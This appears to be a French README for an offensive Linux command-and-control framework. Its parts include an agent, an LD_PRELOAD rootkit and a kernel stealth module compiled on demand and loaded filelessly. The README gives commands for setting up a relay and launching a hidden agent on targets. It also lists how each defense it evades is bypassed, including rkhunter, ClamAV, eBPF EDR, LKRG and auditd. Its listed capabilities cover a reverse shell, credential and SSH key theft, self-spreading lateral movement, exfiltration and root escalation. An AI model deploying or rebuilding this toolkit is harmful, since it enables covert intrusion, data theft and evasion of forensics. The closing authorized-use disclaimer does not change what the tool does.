### 2. Configurer```bash
cp build.env.example build.env
nano build.env      # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN

Les binaires atterrissent dans `bin/`.

### 4. Amorcer le relais```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh

# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/

Déployez un agent sur la cible:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown

| Composant | Rôle |
|---|---|
| `bat-agent` | Agent. Beacons, exécute des TTPs. Obfusqué par Garble. |
| `bat-server` | Console opérateur. CLI interactive. Gère tous les agents. |
| `netshell` | Binaire de livraison. Ressemble à un outil système ; est un agent complet. |
| `bat-rootkit.so` | Rootkit userspace LD_PRELOAD. Cache les fichiers, PIDs, ports, variables d'environnement. |
| `bat-stealth.ko` | Couche furtive noyau (basée sur Singularity). |
| `kcc-server` | Service relais. Compile `bat-stealth.ko` à la demande pour le noyau en cours d'exécution de la cible. |
| `relay/` | Infrastructure relais : nginx, TLS, configuration, synchronisation, scripts de livraison. |

---

## Défenses contournées

| Catégorie | Défense | Mécanisme de contournement |
|---|---|---|
| Surveillance des processus | `ps` / `top` / liste `/proc` | `hiding_procs.c` : le hook `getdents64` supprime les entrées PID de l'agent de procfs avant que l'espace utilisateur ne les lise |
| Surveillance des processus | `/proc/<pid>/status`, `/proc/<pid>/cmdline` | `hiding_procs.c` : le hook `filldir` filtre les préfixes PID de tous les résultats readdir |
| Système de fichiers | `ls` / `find` sur les fichiers et répertoires de l'agent | `hiding_fs.c` : hooks `getdents64`/`getdents` sur les chemins ciblés ; stat nlink ajusté pour correspondre |
| Système de fichiers | Détection `lsattr` / `chattr` | `hiding_fs.c` : interception `ioctl` sur les chemins de fichiers de l'agent |
| Système de fichiers | Liste `/proc/modules` / `lsmod` | `hiding_module.c` : supprime l'entrée `bat-stealth.ko` de toutes les listes de modules sysfs et procfs |
| Réseau | Listages des ports `ss` / `netstat` | `hiding_net.c` : les hooks `tcp4_seq_show`/`tcp6_seq_show` suppriment les entrées de port C2 de la sortie |
| Réseau | `/proc/net/tcp`, `/proc/net/tcp6` | `hiding_net.c` : l'interception de lecture seq_file supprime les lignes de socket C2 |
| Journaux | Chemin d'écriture `syslog` / `journald` | `hooks_write.c` : interception `write`/`splice`/`sendfile`/`tee` ; les entrées de journal correspondant aux chaînes de l'agent sont supprimées dans le noyau |
| Journaux | Chemin d'écriture asynchrone `io_uring` | `hooks_write.c` : `io_uring_enter`/`io_uring_enter2` interceptés ; chemin de compatibilité ia32 couvert |
| Sécurité du noyau | `rkhunter` / `chkrootkit` | Module caché de `/proc/modules` ; fichiers de l'agent cachés du système de fichiers ; zéro avertissement vérifié |
| Sécurité du noyau | ClamAV | Obfuscation Garble `-literals -tiny` + aucune chaîne en clair intégrée ; 0 détections vérifiées (DB 2026-04-20) |
| EDR / eBPF | Capteurs basés sur eBPF lisant `/proc` | Les hooks de masquage interceptent au niveau noyau avant que les événements du tampon en anneau eBPF ne soient produits |
| Introspection du noyau | `ftrace` / `kprobes` sur les symboles de l'agent | Le module `selfdefense` bloque l'attachement kprobe sur les adresses de fonctions de l'agent |
| Forensique du noyau | Acquisition mémoire LiME | `selfdefense` bloque le chargement du module LiME et l'accès aux périphériques mémoire bruts |
| Forensique du noyau | Vidage de tâches SysRq-T | `sysrq_hook` exclut les processus cachés de la liste de tâches écrite par SysRq-T |
| Forensique du noyau | NETLINK taskstats | `taskstats_hook` filtre les réponses NETLINK taskstats pour les PID cachés |
| Intégrité du noyau | Application de LKRG | `lkrg_bypass` supprime la livraison du `SIGKILL` de LKRG et abandonne les messages de journal LKRG |
| Sous-système d'audit | Enregistrement d'appels système `auditd` | Le module `audit` supprime les événements d'audit pour tous les PID cachés au niveau de la couche d'audit du noyau |

---

## Hooks d'appels système

Tous les hooks sont installés par `bat-stealth.ko` via ftrace au moment du chargement. Les entrées ia32 ne sont compilées que sur x86_64 (`#ifdef ARCH_SYS_IA32`).

| Appel système / Fonction | Module | Objectif |
|---|---|---|
| `getdents64` | `hiding_procs.c` | Masquer les PID de l'agent des listages de répertoire `/proc` |
| `getdents` | `hiding_procs.c` | Compat 32 bits : masquer les PID de l'agent |
| `filldir` (readdir) | `hiding_procs.c` | Filtre d'entrée proc supplémentaire pour les appelants readdir hérités |
| `getdents64` | `hiding_fs.c` | Masquer les fichiers de l'agent des listages de répertoire |
| `getdents` | `hiding_fs.c` | Compat 32 bits : masquer les fichiers de l'agent |
| `ia32_getdents64` | `hiding_fs.c` | Appel système de compat x86 |
| `ia32_getdents` | `hiding_fs.c` | Appel système de compat x86 |
| `ia32_stat` / `ia32_lstat` / `ia32_fstat` | `hiding_fs.c` | Interceptions stat 32 bits pour les chemins cachés |
| `ia32_open` / `ia32_openat` / `ia32_access` | `hiding_fs.c` | Interceptions open/access 32 bits |
| `ia32_readlink` | `hiding_fs.c` | Interception readlink 32 bits |
| `ia32_chdir` | `hiding_fs.c` | Interception chdir 32 bits |
| `ioctl` | `hiding_fs.c` | Intercepter `lsattr`/`chattr` ioctl sur les chemins de l'agent |
| `tcp4_seq_show` | `hiding_net.c` | Masquer les entrées de port C2 de `/proc/net/tcp` |
| `tcp6_seq_show` | `hiding_net.c` | Masquer les entrées de port C2 de `/proc/net/tcp6` |
| `bpf` | `bpf_hook.c` | Zéro télémétrie pour les PID cachés dans tous les programmes eBPF |
| `write` | `hooks_write.c` | Supprimer les entrées de journal contenant des chaînes de l'agent avant d'atteindre syslog |
| `splice` | `hooks_write.c` | Même interception via le chemin splice |
| `sendfile` | `hooks_write.c` | Même interception via le chemin sendfile |
| `tee` | `hooks_write.c` | Même interception via le chemin tee |
| `io_uring_enter` | `hooks_write.c` | Interception d'écriture asynchrone io_uring |
| `io_uring_enter2` | `hooks_write.c` | Interception d'écriture asynchrone io_uring (appel système v2) |
| `sched_process_fork` (tracepoint) | `pid_manager.c` | Hériter du statut caché à travers `fork`/`clone` |
| `vprintk_emit` | `lkrg_bypass.c` | Supprimer les messages de journal noyau LKRG |
| `finit_module` / `init_module` | agent (kcc loader) | Chargement de module noyau sans fichier via `memfd_create` + fd anonyme |

---

## Référence TTP

| TTP | Nom | Description |
|---|---|---|
| 1 | masquerade | Renommer le comm du processus en `kworker/0:1` (ou personnalisé) |
| 2 | reverse_shell | Shell TCP inverse vers relay:4445 |
| 3 | memory_rwx | Allouer de la mémoire RWX anonyme (sonde de détection) |
| 4 | shell_exec | Exécuter une commande shell arbitraire |
| 5 | beacon | Forcer un rappel supplémentaire immédiat |
| 6 | persist | Installer la persistance (cron / systemd / rc.local / openrc / profile / XDG autostart) |
| 7 | creddump | Collecter `/etc/shadow`, historique bash, secrets d'environnement, AWS IMDS |
| 9 | exec_chain | Générer une chaîne de processus (sonde de détection) |
| 10 | install_rootkit | Déployer `bat-rootkit.so` via `/etc/ld.so.preload` |
| 11 | inject + exit | Injecter les threads beacon + rawsock dans un processus en cours, puis auto-sortie |
| 20 | network_recon | Table ARP + scan TCP :22 du sous-réseau local |
| 21 | ssh_harvest | Collecter les clés privées, known_hosts, authorized_keys, configurations |
| 22 | lateral_move | SCP de soi-même vers un hôte découvert via SSH, exécution détachée |
| 23 | creddump_full | Collecte étendue d'identifiants + empreinte d'environnement |
| 30 | exfil-file | Lire un fichier arbitraire et transmettre des morceaux base64 sur le canal beacon |
| 31 | exfil-dir | Tar+gzip un répertoire et exfiltrer sur le canal beacon |
| 32 | exfil-auto | Surveiller les chemins configurés et auto-exfiltrer en cas de modification |
| 34 | netmap | Scanner un CIDR /16 pour les hôtes actifs et les ports ouverts |
| 35 | autospread | Mouvement latéral SSH vers les hôtes découverts en utilisant les clés collectées ; copie l'agent et exécute de manière détachée |
| 36 | smbprobe | Sondage du port SMB (:445) pour les candidats au mouvement latéral |
| 99 | kill | Auto-terminaison silencieuse |
| 222 | destruct | Supprimer tous les artefacts, effacer la mémoire, sortie |
| 1003 | K-03 (privesc) | Le signal noyau 59 déclenche `commit_creds` vers uid=0 |
| 1099 | K-99 (unload) | Déchargement en deux phases de `bat-stealth.ko` via sysfs + `delete_module(2)` brut |

Commandes console (dans l'invite `bat-server`) :
- `kill` : TTP 99 à tous les agents
- `destruct` : TTP 222 à tous les agents
- `destruct @<agentID>` : effacement ciblé

---


### KCC : Cache de compilation du noyau

`bat-stealth.ko` est compilé à la demande pour le noyau en cours d'exécution de la cible. L'agent automatise l'ensemble du flux en cours d'exécution ; aucun module pré-construit n'est nécessaire par cible :

1. **Détecter le noyau** : l'agent lit `/proc/version` pour obtenir la chaîne exacte `uname -r`.
2. **Demander la compilation** : l'agent POSTe la chaîne du noyau au `kcc-server` (`:9444`) avec une demande signée HMAC.
3. **kcc-server compile** : le serveur construit `bat-stealth.ko` contre les en-têtes de noyau correspondants et met en cache le résultat par hash du noyau.
4. **Recevoir les octets du module** : le `.ko` compilé retourné dans le corps de la réponse.
5. **Chargement sans fichier** : l'agent crée un fichier mémoire anonyme (`memfd_create`, appel système 279 sur x86_64 / 319 sur ARM64), écrit les octets du module, puis appelle `finit_module` (appel système 273 / 313) avec une chaîne de paramètres vide.
6. **Enregistrement** : le module enregistre tous les hooks et se cache de sysfs/procfs en quelques millisecondes.

Aucun fichier `.ko` n'est écrit sur le disque à aucun moment. Le module disparaît de `/proc/modules` immédiatement après le chargement.

**Noyau minimum :** 6.x (sonde K-00 ; l'agent ignore le chargement furtif sur les noyaux plus anciens).  
**Testé :** 6.1.0 (Debian 12 / Ubuntu LTS), 6.8.0 (Ubuntu 22.04 GCP).

---

## Profils de construction```bash
make lab SECRET=<hex>          # direct: agent -> relay:9443, UDP trigger
make cdn SECRET=<hex>          # CDN: agent -> edge proxy -> relay:443
make singularity SECRET=<hex>  # ICMP trigger only, no UDP port exposure

Les identifiants sont écrits dans `/etc/bat/tg.env` sur le relais et propagés à toutes les cibles de synchronisation via `sync.sh --tg`. Le service démarre automatiquement et survit aux redémarrages du relais.

---

## Avertissement

Ce logiciel est développé exclusivement pour la recherche en sécurité autorisée, la simulation d'adversaires dans des environnements de laboratoire contrôlés, et le développement de capacités de détection et de réponse. Il contient des implémentations fonctionnelles de techniques offensives, y compris des rootkits au niveau du noyau, l'injection de processus, la récolte d'identifiants et le mouvement latéral. Le déploiement sur tout système sans autorisation écrite explicite du propriétaire du système est illégal en vertu des lois applicables sur la fraude et les abus informatiques dans la plupart des juridictions.

Les auteurs déclinent toute responsabilité pour tout dommage, conséquence juridique ou préjudice résultant d'une utilisation non autorisée, négligente ou malveillante de ce logiciel. En utilisant ce logiciel, vous affirmez être un professionnel de la sécurité qualifié opérant dans un cadre légal et autorisé, et que l'entière responsabilité légale et éthique de son utilisation vous incombe uniquement.

Ce logiciel ne doit pas être redistribué, publié ou divulgué à un tiers sans consentement écrit préalable.